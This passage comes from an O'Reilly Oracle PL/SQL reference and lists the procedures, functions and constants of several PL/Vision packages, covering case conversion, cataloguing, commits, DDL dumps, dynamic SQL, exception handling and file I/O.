Names of different repositories supported within PL/Vision. These are mostly used by PLVio and by users of PLVio to set up the source and target repositories for PL/SQL code.

c_datemask CONSTANT VARCHAR2(100) :=
'FMMonth DD, YYYY FMHH24:MI:SS'

The default date format mask for PL/Vision.

5.3.2 Anchoring datatypes

plsql_identifier VARCHAR2(100) := 'IRRELEVANT';
max_varchar2 VARCHAR2(32767) := 'IRRELEVANT';
vcmax_len CONSTANT INTEGER := 32767;

The plsql_identifier variable offers a standard format for the declaration of any variables that will hold PL/SQL identifiers, such as table and column names.

The max_varchar2 variable offers a standard format for the declaration of any variables that require the maximum possible size for VARCHAR2 variables, which is 32,767 bytes and also reflected by the value of the vcmax_len constant.

5.3.3 Setting the date format mask

PROCEDURE set_datemask (datemask_in IN VARCHAR2 := c_datemask);

Sets the string used as the default date format mask within PL/Vision.

FUNCTION datemask RETURN VARCHAR2;

Returns the string used as the default date format mask within PL/Vision.

5.3.4 Setting the NULL substitution value

PROCEDURE set_nullval (nullval_in IN VARCHAR2);

Sets the string used as the substitution value for NULLs within PL/Vision.

FUNCTION nullval RETURN VARCHAR2;

Returns the current NULL substitution value.

5.3.5 Assertion routines

assertion_failure EXCEPTION;

Exception raised by the various assertion routines when the assertion fails.

PROCEDURE assert (bool_in IN BOOLEAN, stg_in IN VARCHAR2 := NULL);

Does nothing if the Boolean argument evaluates to TRUE. Otherwise (for FALSE or NULL), it raises the assertion_failure exception and displays the message.

This same behavior holds for the other assertion routines shown below.

PROCEDURE assert_notnull
(val_in IN VARCHAR2, stg_in IN VARCHAR2 := NULL);
PROCEDURE assert_notnull
(val_in IN DATE, stg_in IN VARCHAR2 := NULL);
PROCEDURE assert_notnull
(val_in IN NUMBER, stg_in IN VARCHAR2 := NULL);
PROCEDURE assert_notnull
(val_in IN BOOLEAN, stg_in IN VARCHAR2 := NULL);

Overloadings for the NOT NULL assertion logic.

PROCEDURE assert_inrange
(val_in IN DATE,
start_in IN DATE := SYSDATE, end_in IN DATE := SYSDATE+1,
stg_in IN VARCHAR2 := NULL, truncate_in IN BOOLEAN := TRUE);
PROCEDURE assert_inrange
(val_in IN NUMBER, start_in IN NUMBER, end_in IN NUMBER,
stg_in IN VARCHAR2 := NULL);

Overloadings of "in range" assertions for both date and numeric information.

5.3.6 Miscellaneous programs

FUNCTION boolstg (bool_in IN BOOLEAN, stg_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

Returns a string representing the value of the Boolean argument: TRUE if the Boolean argument is TRUE, FALSE if FALSE, and NULL if NULL.

FUNCTION errm (code_in IN INTEGER := SQLCODE) RETURN VARCHAR2;

Returns the error message provided by SQLERRM. Encapsulation inside this function allows SQLERRM to be referenced inside a SQL statement.

FUNCTION now RETURN VARCHAR2;

Returns the current date and time using the current PL/Vision date format mask.

PROCEDURE pause (secs_in IN INTEGER);

Pauses your PL/SQL program for the specified number of seconds.

Previous: 5.2 p: a DBMS_OUTPUT Substitute | Advanced Oracle PL/SQL Programming with Packages | Next: 5.4 PLVcase: PL/SQL Code Conversion
5.2 p: a DBMS_OUTPUT Substitute | Book Index | 5.4 PLVcase: PL/SQL Code Conversion
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.4 PLVcase: PL/SQL Code Conversion

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.4 PLVcase: PL/SQL Code Conversion

The PLVcase (PL/Vision CASE) package converts the case of PL/SQL source code so that it conforms to the UPPER-lower method (reserved words in upper-case, application-specific identifiers in lower-case). See Chapter 18, PLVcase and PLVcat: Converting and Analyzing PL/SQL Code for details.

5.4.1 Package constants

c_usecor CONSTANT VARCHAR2(3) := 'COR';

The constant used in calls to module (see below) to indicate that a CREATE OR REPLACE should be appended to the source code for the program unit.

c_nousecor CONSTANT VARCHAR2(4) := 'NCOR';

The constant used to tell module to not append the CREATE OR REPLACE to the program unit.

5.4.2 Case-converting programs

FUNCTION token (token_in IN VARCHAR2, pkg_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

Converts the case of a single token according to the UPPER-lower method.

PROCEDURE line
(line_in IN OUT PLVio.line_type,
line_out IN OUT PLVio.line_type,
found_out OUT BOOLEAN);

Converts the case of a single line of source code according to the UPPER-lower method (it calls PLVcase.token for each token in the string).

FUNCTION string (string_in IN VARCHAR2) RETURN VARCHAR2;

Converts the case of a string according to the UPPER-lower method. It formats the string as necessary for a call to the PLVcase.line procedure.

PROCEDURE string (string_inout IN OUT VARCHAR2);

Procedure version of the string function. It hands you back your own string variable with the case of the tokens converted.

PROCEDURE module
(module_in IN VARCHAR2,
cor_in IN VARCHAR2 := c_usecor,
last_module_in IN BOOLEAN := TRUE);

Converts the case of a single program unit according to the UPPER-lower method.

PROCEDURE modules (module_spec_in IN VARCHAR2 := NULL);

Converts the case of multiple program units according to the UPPER-lower method.

Previous: 5.3 PLV: Top-Level Constants and Functions | Advanced Oracle PL/SQL Programming with Packages | Next: 5.5 PLVcat: PL/SQL Code Cataloguing
5.3 PLV: Top-Level Constants and Functions | Book Index | 5.5 PLVcat: PL/SQL Code Cataloguing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.5 PLVcat: PL/SQL Code Cataloguing

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.5 PLVcat: PL/SQL Code Cataloguing

The PLVcat (PL/Vision CATalogue) package catalogues PL/SQL source code so that you can analyze the contents of your program for cross-references, dependencies, and so on. See Chapter 18 for details.

5.5.1 Cataloguing package contents

PROCEDURE module (module_in IN VARCHAR2);

Scans the contents of the specified module (currently only package specifications are supported) and writes the list of its contents to the PLVrfrnc table.

PROCEDURE modules (module_in IN VARCHAR2);

Performs same task as the module procedure, but for multiple program units. You can, in other words, provide an argument for module_in that contains wildcards.

5.5.2 Identifying references in stored code

PROCEDURE refnonkw (module_in IN VARCHAR2);

Scans the contents of the specified program unit and writes to the PLVctlg table all references to non-keyword identifiers.

PROCEDURE refbi (module_in IN VARCHAR2);

Generates the list of builtin functions and packages that are referenced within the specified program unit. This list is then written to the PLVctlg table.

Previous: 5.4 PLVcase: PL/SQL Code Conversion | Advanced Oracle PL/SQL Programming with Packages | Next: 5.6 PLVchr: Operations on Single Characters
5.4 PLVcase: PL/SQL Code Conversion | Book Index | 5.6 PLVchr: Operations on Single Characters
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.6 PLVchr: Operations on Single Characters

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.6 PLVchr: Operations on Single Characters

The PLVchr (PL/Vision CHaRacter) package provides information about single characters in a string. See the companion disk for details.

5.6.1 PLVchr constants

blank_char CONSTANT CHAR(1) := ' ';
space_char CONSTANT CHAR(1) := ' ';
quote1_char CONSTANT CHAR(1) := '''';
quote2_char CONSTANT CHAR(2) := '''''';
tab_char CONSTANT CHAR(1) := CHR(9);
newline_char CONSTANT CHAR(1) := CHR(10);

Named constants to use in place of hard-coded literals. Sure, there is more typing involved. But at least you don't have to mess with single quotes, and the code is a lot more readable.

c_nonprinting CONSTANT CHAR(1) := 'n';
c_digit CONSTANT CHAR(1) := '9';
c_letter CONSTANT CHAR(1) := 'a';
c_other CONSTANT CHAR(1) := '*';
c_all CONSTANT CHAR(1) := '%';

Action codes for use in PLVchr programs that allow you to specify the category of character that you want to work with.

5.6.2 Character type functions

FUNCTION is_quote (char_in IN VARCHAR2) RETURN BOOLEAN;
FUNCTION is_blank (char_in IN VARCHAR2) RETURN BOOLEAN;

Functions to encapsulate hard-coded checks for contents of the strings.

FUNCTION is_nonprinting (code_in IN INTEGER) RETURN BOOLEAN;
FUNCTION is_nonprinting (letter_in IN VARCHAR2) RETURN BOOLEAN;

Returns TRUE if the character (or, overloaded as this function is, the ASCII code) is a non-printing character.

FUNCTION is_digit (code_in IN INTEGER) RETURN BOOLEAN;
FUNCTION is_digit (letter_in IN VARCHAR2) RETURN BOOLEAN;

Returns TRUE if the character (or, overloaded as this function is, the ASCII code) is a digit (0 through 9).

FUNCTION is_letter (letter_in IN VARCHAR2) RETURN BOOLEAN;
FUNCTION is_letter (code_in IN INTEGER) RETURN BOOLEAN;

Returns TRUE if the character (or, overloaded as this function is, the ASCII code) is a letter (a-z or A-Z).

FUNCTION is_other (code_in IN INTEGER) RETURN BOOLEAN;
FUNCTION is_other (letter_in IN VARCHAR2) RETURN BOOLEAN;

Returns TRUE if the character (or ASCII code) is not a letter, digit, or nonprinting character.

5.6.3 Other functions and procedures

FUNCTION char_name (letter_in IN VARCHAR2) RETURN VARCHAR2;
FUNCTION char_name (code_in IN INTEGER) RETURN VARCHAR2;

Returns the name of the provided character. This name is actually a standard abbreviation for the character, such as NL for new line. The name of a printable character is simply the character itself. You can pass either a character or an integer code to see the name.

FUNCTION quoted1 (string_in IN VARCHAR2) RETURN VARCHAR2;
FUNCTION quoted2 (string_in IN VARCHAR2) RETURN VARCHAR2;

Each function returns a string wrapped inside the number of single quote marks needed to allow the string to be evaluated to a string surrounded by one and two single quote marks, respectively.

FUNCTION stripped (string_in IN VARCHAR2, char_in IN VARCHAR2)
RETURN VARCHAR2;

Strips a string of all instances of the specified characters. This function is a frontend to TRANSLATE.

PROCEDURE show_string
(string_in IN VARCHAR2, flags_in IN VARCHAR2 := c_all);

Displays the ASCII code and its associated character for each character in the specified string. You can request to view only certain kinds of characters.

PROCEDURE show_table
(start_code_in IN INTEGER := 1,
end_code_in IN INTEGER := NULL);

Displays the ASCII code and its associated character for all codes within the specified start-end range.

Previous: 5.5 PLVcat: PL/SQL Code Cataloguing | Advanced Oracle PL/SQL Programming with Packages | Next: 5.7 PLVcmt: Commit Processing
5.5 PLVcat: PL/SQL Code Cataloguing | Book Index | 5.7 PLVcmt: Commit Processing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.7 PLVcmt: Commit Processing

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.7 PLVcmt: Commit Processing

The PLVcmt (PL/Vision CoMmiT) package provides a programmatic interface to the execution of commits, rollbacks, and the setting of savepoints. See Chapter 20, PLVcmt and PLVrb: Commit and Rollback Processing for details.

5.7.1 Controlling commit activity

PROCEDURE turn_on;

Enables commit processing in PLVcmt. This is the default.

PROCEDURE turn_off;

Disables commit processing in PLVcmt. When this program is called in the current session, the COMMIT statement will not be executed.

FUNCTION committing RETURN BOOLEAN;

Returns TRUE if commit processing is being performed by PLVcmt.

5.7.2 Logging commit activity

PROCEDURE log;

Requests that, whenever a COMMIT is performed, a message be sent to the PL/Vision log.

PROCEDURE nolog;

Do not log a message with the COMMIT.

FUNCTION logging RETURN BOOLEAN;

Returns TRUE if currently logging the fact that a commit was performed by PLVcmt.

5.7.3 Performing commits

PROCEDURE increment_and_commit (context_in IN VARCHAR2 := NULL);

Increments the counter and commits if a commit point has been reached.

PROCEDURE perform_commit(context_in IN VARCHAR := NULL);

The PLVcmt package's version of COMMIT. I could probably get away with calling this program commit, but I avoid using keywords even when the compiler doesn't seem to get confused.

5.7.4 Managing the commit counter

PROCEDURE commit_after (count_in IN INTEGER);

Sets the break point at which a commit is performed. In other words, when the package-based counter reaches the specified number, issue a COMMIT. The default is to commit after the counter reaches 1.

PROCEDURE init_counter;

Initializes the PLVcmt counter referenced by the increment_and_commit program to perform incremental commits.

Previous: 5.6 PLVchr: Operations on Single Characters | Advanced Oracle PL/SQL Programming with Packages | Next: 5.8 PLVddd: DDL Syntax Dump
5.6 PLVchr: Operations on Single Characters | Book Index | 5.8 PLVddd: DDL Syntax Dump
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.8 PLVddd: DDL Syntax Dump

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.8 PLVddd: DDL Syntax Dump

The PLVddd (PL/Vision Dump Data Definition language) package dumps DDL syntax from a particular schema to allow you to recreate database objects easily in other schemas. See the companion disk for details.

5.8.1 Including the schema

PROCEDURE inclschema;

Turns on the inclusion of schema names before each created object. This is the DEFAULT position.

PROCEDURE noinclschema;

Turns off the showing of the schema names before each created object.

FUNCTION including_schema RETURN BOOLEAN;

Returns TRUE if including the schema.

5.8.2 Including the storage parameter

PROCEDURE inclsp;

Turns on the inclusion of the storage parameters after appropriate objects.

PROCEDURE noinclsp;

Turns OFF the inclusion of storage parameters after appropriate objects. This is the DEFAULT position.

FUNCTION including_sp RETURN BOOLEAN;

Function returning TRUE if storage parameters are included and FALSE if they are not.

5.8.3 Dumping the DDL

PROCEDURE tbl (owner_in IN VARCHAR2, table_in IN VARCHAR2 := '%');

Dumps DDL for tables including named column, check constraints, and storage information.

PROCEDURE idx
(owner_in IN VARCHAR2,
name_in IN VARCHAR2 := '%',
table_in IN VARCHAR2 := '%');

Dumps DDL for single indexes or all indexes on tables.

PROCEDURE pky
(owner_in IN VARCHAR2,
name_in IN VARCHAR2 := '%',
table_in IN VARCHAR2 := '%');

Dumps DDL for single primary keys or all primary keys on tables.

PROCEDURE fky
(owner_in IN VARCHAR2,
name_in IN VARCHAR2 := '%',
table_in IN VARCHAR2 := '%');

Dumps DDL for single foreign keys or all foreign keys on tables.

PROCEDURE syn
(synonym_owner_in IN VARCHAR2,
name_in IN VARCHAR2 := '%',
object_owner_in IN VARCHAR2 := '%',
object_in IN VARCHAR2 := '%');

Dumps DDL for single synonyms or all synonyms for a table.

PROCEDURE vw (owner_in IN VARCHAR2, name_in IN VARCHAR2 := '%');

Dumps DDL for views.

PROCEDURE trig
(owner_in IN VARCHAR2,
name_in IN VARCHAR2 := '%',
table_in IN VARCHAR2 := '%');

Dumps DDL for single triggers or all triggers on tables.

PROCEDURE plsql (owner_in IN VARCHAR2, name_in IN
VARCHAR2 := '%');

Dumps DDL for PL/SQL code objects including functions, packages, package bodies, and procedures.

PROCEDURE seq (owner_in IN VARCHAR2, name_in IN VARCHAR2 := '%');

Dumps DDL for sequences including starting points, max/min values, etc.

PROCEDURE schema (owner_in IN VARCHAR2, object_in IN
VARCHAR2 := '%');

Dumps all of the DDL related to a specified object. If the object is a table, for example, it can generate all indexes, keys, triggers, synonyms, and views for that table as well.

Previous: 5.7 PLVcmt: Commit Processing | Advanced Oracle PL/SQL Programming with Packages | Next: 5.9 PLVdyn: Dynamic SQL Operations
5.7 PLVcmt: Commit Processing | Book Index | 5.9 PLVdyn: Dynamic SQL Operations
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.9 PLVdyn: Dynamic SQL Operations

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.9 PLVdyn: Dynamic SQL Operations

The PLVdyn (PL/Vision DYNamic SQL) package provides a high-level interface to Oracle's builtin DBMS_SQL package. See Chapter 19, PLVdyn and PLVfk: Dynamic SQL and PL/SQL for details.

5.9.1 Tracing PLVdyn activity

PROCEDURE showsql (start_with_in IN VARCHAR2 := NULL);

Requests that the string being parsed dynamically be displayed. You can specify the string that should start the displayed text.

PROCEDURE noshowsql;

Turns off the display of the dynamic SQL string.

FUNCTION showing RETURN BOOLEAN;

Returns TRUE if currently showing the dynamic SQL.

5.9.2 Controlling execution of dynamic SQL

PROCEDURE execsql;

Requests that calls to PLVdyn.execute call the underlying DBMS_SQL.EXECUTE builtin.

PROCEDURE noexecsql;

Requests that PLVdyn.execute not actually execute the specified cursor.

FUNCTION executing RETURN BOOLEAN;

Returns TRUE if currently executing the dynamic SQL.

5.9.3 Bundled, low-level operations

FUNCTION open_and_parse
(string_in IN VARCHAR2,
mode_in IN INTEGER := DBMS_SQL.NATIVE) RETURN INTEGER;

Combines the open and parse operations into a single function call.

PROCEDURE execute (cur_inout IN INTEGER);

A passthrough to the DBMS_SQL.EXECUTE function. By using PLVdyn.execute, you give yourself the flexibility to turn off execution without modifying your code.

PROCEDURE execute_and_fetch
(cur_inout IN INTEGER, match_in IN BOOLEAN := FALSE);

A passthrough to the DBMS_SQL.EXECUTE_AND_FETCH function. By using this procedure, you give yourself the flexibility to turn off execution without modifying your code.

PROCEDURE execute_and_close (cur_inout IN OUT INTEGER);

Combines the execute and close operations into a single call.

PROCEDURE parse_delete
(table_in IN VARCHAR2, where_in IN VARCHAR2,
cur_out OUT INTEGER);

Performs the parse step of DBMS_SQL for a DELETE string constructed from the arguments in the parameter list.

5.9.4 Data Definition Language operations

PROCEDURE ddl (string_in IN VARCHAR2);

Executes any DDL statement by performing an OPEN, then a PARSE. This program forces a commit in your session, as when any DDL command is given.

PROCEDURE drop_object
(type_in IN VARCHAR2, name_in IN VARCHAR2,
schema_in IN VARCHAR2 := USER);

Provides a generic, powerful interface to the DDL DROP command. You can drop individual or multiple objects.

PROCEDURE truncate
(type_in IN VARCHAR2, name_in IN VARCHAR2,
schema_in IN VARCHAR2 := USER);

Truncates either a table or a cluster as specified.

PROCEDURE compile
(stg_in IN VARCHAR2, show_err_in IN VARCHAR2 := PLV.noshow);

Executes a CREATE OR REPLACE of the program contained in the first argument, stg_in. You can also request that errors from this compile be immediately displayed with a call to the PLVvu.err procedure.

PROCEDURE compile
(table_in IN PLVtab.vc2000_table,
lines_in IN INTEGER,
show_err_in IN VARCHAR2 := PLV.noshow);

Another version of dynamic CREATE OR REPLACE that reads the source code for the program from the PL/SQL table.

FUNCTION nextseq (seq_in IN VARCHAR2, increment_in IN INTEGER := 1)
RETURN INTEGER;

Returns the next value from the specified sequence. Can retrieve the immediate next value or the nth next value. Use of this function avoids direct reference to the DUAL table.

5.9.5 Data Manipulation Language operations

PROCEDURE dml_insert_select
(table_in IN VARCHAR2, select_in IN VARCHAR2);

Issues an INSERT-SELECT statement based on the arguments provided.

PROCEDURE dml_delete
(table_in IN VARCHAR2, where_in IN VARCHAR2 := NULL);

Deletes all rows specified by the WHERE clause from the table argument.

PROCEDURE dml_update
(table_in IN VARCHAR2,
column_in IN VARCHAR2,
value_in IN VARCHAR2|NUMBER|DATE,
where_in IN VARCHAR2 := NULL);

Overloaded to support string, numeric, and date values, dml_update performs a single-column UPDATE as specified by the arguments.

5.9.6 Executing dynamic PL/SQL

PROCEDURE plsql (string_in IN VARCHAR2);

Executes any PL/SQL code. This procedure automatically packages your string inside a BEGIN-END block and terminates it with a semicolon.

5.9.7 Miscellaneous programs

PROCEDURE disptab
(table_in IN VARCHAR2,
where_in IN VARCHAR2 := NULL,
string_length_in IN INTEGER := 20,
date_format_in IN VARCHAR2 := PLV.datemask,
num_length_in IN INTEGER := 10);

Displays the requested contents of any database table. Good example of the kind of code required to perform Method 4 dynamic SQL.

FUNCTION plsql_block (string_in IN VARCHAR2) RETURN VARCHAR2;

Returns a string that is a valid PL/SQL block for dynamic PL/SQL execution.

FUNCTION placeholder
(string_in IN VARCHAR2, start_in IN INTEGER := 1)
RETURN VARCHAR2;

Locates and returns the nth placeholder for bind variables in strings.

FUNCTION tabexists (table_in IN VARCHAR2) RETURN BOOLEAN;

Returns TRUE if the specified table exists.

PROCEDURE time_plsql
(stg_in IN VARCHAR2, repetitions_in IN INTEGER := 1);

Calculates the overhead required to execute a dynamically constructed anonymous PL/SQL block.

Previous: 5.8 PLVddd: DDL Syntax Dump | Advanced Oracle PL/SQL Programming with Packages | Next: 5.10 PLVexc: Exception Handling
5.8 PLVddd: DDL Syntax Dump | Book Index | 5.10 PLVexc: Exception Handling
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.10 PLVexc: Exception Handling

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.10 PLVexc: Exception Handling

The PLVexc (PL/Vision EXCeption handling) package provides generic and powerful exception-handling capabilities. See Chapter 22, Exception Handling for details.

5.10.1 Package constants

c_go CONSTANT CHAR(1) := 'C';

Requests that your program continue (ignore the error). Explained in more detail below.

c_recNgo CONSTANT CHAR(2) := 'RC';

Requests that your program record the error and then continue. Explained in more detail below.

c_stop CONSTANT CHAR(1) := 'H';

Requests that your program be halted if this exception occurs. Explained in more detail below.

c_recNstop CONSTANT CHAR(2) := 'RH';

Requests that your program record the error and then halt. Explained in more detail below.

5.10.2 Package-based exceptions

process_halted EXCEPTION;

Package-specific exception raised when you request a "halt" action in the handler programs.

no_such_table EXCEPTION;
PRAGMA EXCEPTION_INIT (no_such_table, -942);

Predefined system exception for error ORA-942. Saves other developers from dealing with the EXCEPTION_INIT pragma.

snapshot_too_old EXCEPTION;
PRAGMA EXCEPTION_INIT (snapshot_too_old, -1555);

Predefined system exception for error ORA-1555. Saves other developers from dealing with the EXCEPTION_INIT pragma.

5.10.3 Logging exception-handling activity

PROCEDURE log;

Requests that whenever a PLVexc handler is called, a message is sent to the PL/Vision log.

PROCEDURE nolog;

Do not log the handling action when the exception is recorded and handled. with the COMMIT.

FUNCTION logging RETURN BOOLEAN;

Returns TRUE if currently logging PLVexc-based exception handling.

5.10.4 Displaying exceptions

PROCEDURE show;

Requests that error information be displayed to your screen using the p.l procedure.

PROCEDURE noshow;

Turns off display of the error information.

FUNCTION showing RETURN BOOLEAN;

Returns TRUE if PLVexc is currently showing errors.

5.10.5 Rolling back on exception

PROCEDURE rblast;

Requests that a rollback be issued to the most recent savepoint before writing error information to the log (the default).

PROCEDURE rbdef;

Requests that a rollback be issued to the default PLVlog savepoint before writing error information to the log (the default).

PROCEDURE norb;

Turns off issuing of rollback before logging of the error information.

FUNCTION rb RETURN VARCHAR2;

Returns TRUE if PLVexc is currently issuing a rollback.

5.10.6 Exception handlers

PROCEDURE handle
(context_in IN VARCHAR2,
err_code_in IN INTEGER,
handle_action_in IN VARCHAR2,
msg_in IN VARCHAR2 := SQLERRM);

Low-level, generic exception-handling program. This program is called by all other PLVexc handlers, which are overloaded for error number and message.

PROCEDURE recNgo (msg_in IN VARCHAR2 := NULL);
PROCEDURE recNgo (err_code_in IN INTEGER);

High-level exception handler that records and then ignores the error.

PROCEDURE go (msg_in IN VARCHAR2 := NULL);
PROCEDURE go (err_code_in IN INTEGER);

High-level exception handler that ignores the error, but gives you the opportunity to log or display the exception.

PROCEDURE recNstop (msg_in IN VARCHAR2 := NULL);
PROCEDURE recNstop (err_code_in IN INTEGER);

High-level exception handler that records the error and then causes the current program to halt.

PROCEDURE stop (msg_in IN VARCHAR2 := NULL);
PROCEDURE stop (err_code_in IN INTEGER);

High-level exception handler that causes the current program to halt.

5.10.7 Bailing out program execution

PROCEDURE bailout;

Starts the bailout process; the current exception will be propagated out of all exception sections that use PLVexc, regardless of the action handled.

PROCEDURE nobailout;

Turns off the bailout process. PLVexc will not propagate the exception past all PLVexc exception handlers.

FUNCTION bailing_out RETURN BOOLEAN;

Returns TRUE if PLVexc is currently set to bail out when it encounters a bailout error.

PROCEDURE clear_bailouts;

Registers a specific error number as a bailout error.

5.10.8 Managing the list of bailout errors

PROCEDURE clear_bailouts;

Clears the PLVexc list of bailout errors.

PROCEDURE bailout_on (err_code_in IN INTEGER);

Adds an error code to the list that PLVexc treats as bailout errors.

PROCEDURE nobailout_on (err_code_in IN INTEGER);

Removes an error code from the list that PLVexc treats as bailout errors.

FUNCTION bailout_error (err_code_in IN INTEGER) RETURN BOOLEAN;

Returns TRUE if the specified error is a bailout error.

Previous: 5.9 PLVdyn: Dynamic SQL Operations | Advanced Oracle PL/SQL Programming with Packages | Next: 5.11 PLVfile: Operating System I/O Manager
5.9 PLVdyn: Dynamic SQL Operations | Book Index | 5.11 PLVfile: Operating System I/O Manager
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.11 PLVfile: Operating System I/O Manager

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.11 PLVfile: Operating System I/O Manager

The PLVfile (PL/Vision FILE) package manages operating system I/O by providing a layer of code around Oracle's builtin UTL_FILE package. See Chapter 13, PLVfile: Reading and Writing Operating System Files for details.

5.11.1 Package constants and exceptions

max_line_size CONSTANT INTEGER := 1000;

The maximum size of a line allowed to be read or written with PLVfile.

max_line VARCHAR2(1000);

I had to "hard code" the 1000 again in this declaration because you must supply a literal when you declare a length for a VARCHAR2 string. Predefined variable you can use to anchor declarations of local variables in your own programs that will hold the maximum length line allowed in PLVfile.

c_append CONSTANT VARCHAR2(1) := 'A';
c_read CONSTANT VARCHAR2(1) := 'R';
c_write CONSTANT VARCHAR2(1) := 'W';

The different types of file access allowed with the UTL_FILE builtin package (A = append to existing lines in file, R = read-only from file and W = write over existing contents of file).

c_unixdelim CONSTANT VARCHAR2(1) := '/';
c_dosdelim CONSTANT VARCHAR2(1) := '\';

Predefined operating system directory/path delimiters for UNIX and MS-DOS.

5.11.2 Trace PLVfile activity

PROCEDURE show;

Turns on the trace of PLVfile activity.

PROCEDURE noshow;

Turns off the trace of PLVfile activity (default setting).

FUNCTION showing RETURN BOOLEAN;

Returns TRUE if you are currently tracing PLVfile activity.

5.11.3 Setting the operating system delimiter

PROCEDURE set_delim (delim_in IN VARCHAR2);

Sets the string to be used as the operating system delimiter (the character that goes between the file location and the file name).

FUNCTION delim RETURN VARCHAR2;

Returns the current operating system delimiter.

5.11.4 Setting the default directory or location

PROCEDURE set_dir (dir_in IN VARCHAR2);

Sets the default directory for the file you are managing with PLVfile. If you specify the directory with set_dir, you will not have to provide it in each call to PLVfile programs.

FUNCTION dir RETURN VARCHAR2;

Returns the current default directory.

5.11.5 Creating files

FUNCTION fcreate
(loc_in IN VARCHAR2, file_in IN VARCHAR2, line_in IN VARCHAR2)
RETURN UTL_FILE.FILE_TYPE;

Specify file location and name separately, as well as the single line of text to place in the file. The fcreate procedure will create the file and return the handle to the file.

FUNCTION fcreate
(file_in IN VARCHAR2, line_in IN VARCHAR2 := NULL)
RETURN UTL_FILE.FILE_TYPE;

Create the file without explicitly providing the file location.

PROCEDURE fcreate
(loc_in IN VARCHAR2, file_in IN VARCHAR2, line_in IN VARCHAR2);

Create the file but do not return the handle to the file.

PROCEDURE fcreate
(file_in IN VARCHAR2, line_in IN VARCHAR2 := NULL);

Create the file without explicitly providing the file location and do not return the handle to the file.

5.11.6 Checking for file existence

FUNCTION fexists (loc_in IN VARCHAR2, file_in IN VARCHAR2)
RETURN BOOLEAN;

Provide location and name separately; function returns TRUE if PLVfile is able to open the file with read-only access.

FUNCTION fexists (file_in IN VARCHAR2) RETURN BOOLEAN;

Returns TRUE if PLVfile is able to open the specified file with read-only access.

5.11.7 Opening a file

PROCEDURE fopen
(loc_in IN VARCHAR2, file_in IN VARCHAR2, mode_in IN VARCHAR2);

Opens a file for the specified mode (location and name provided separately) and does not return the handle to the file.

PROCEDURE fopen
(file_in IN VARCHAR2, mode_in IN VARCHAR2 := c_append);

Opens a file for the specified mode and does not return the handle to the file.

FUNCTION fopen
(file_in IN VARCHAR2, mode_in IN VARCHAR2 := c_append)
RETURN UTL_FILE.FILE_TYPE;

Opens a file for the specified mode and returns the handle to the file.

FUNCTION fopen
(loc_in IN VARCHAR2, file_in IN VARCHAR2, mode_in IN VARCHAR2)
RETURN UTL_FILE.FILE_TYPE;

Opens a file for the specified mode (location and name provided separately) and returns the handle to the file.

5.11.8 Closing a file

PROCEDURE fclose (file_in IN UTL_FILE.FILE_TYPE);

Closes the specified file.

PROCEDURE fclose_all;

Closes all open files.

5.11.9 Reading from a file

PROCEDURE get_line
(file_in IN UTL_FILE.FILE_TYPE,
line_out IN OUT VARCHAR2,
eof_out OUT BOOLEAN);

Retrieves the next line from the specified file (by file handle). Returns a flag indicating whether the end of the file has been reached.

FUNCTION line (file_in IN VARCHAR2, line_num_in IN INTEGER)
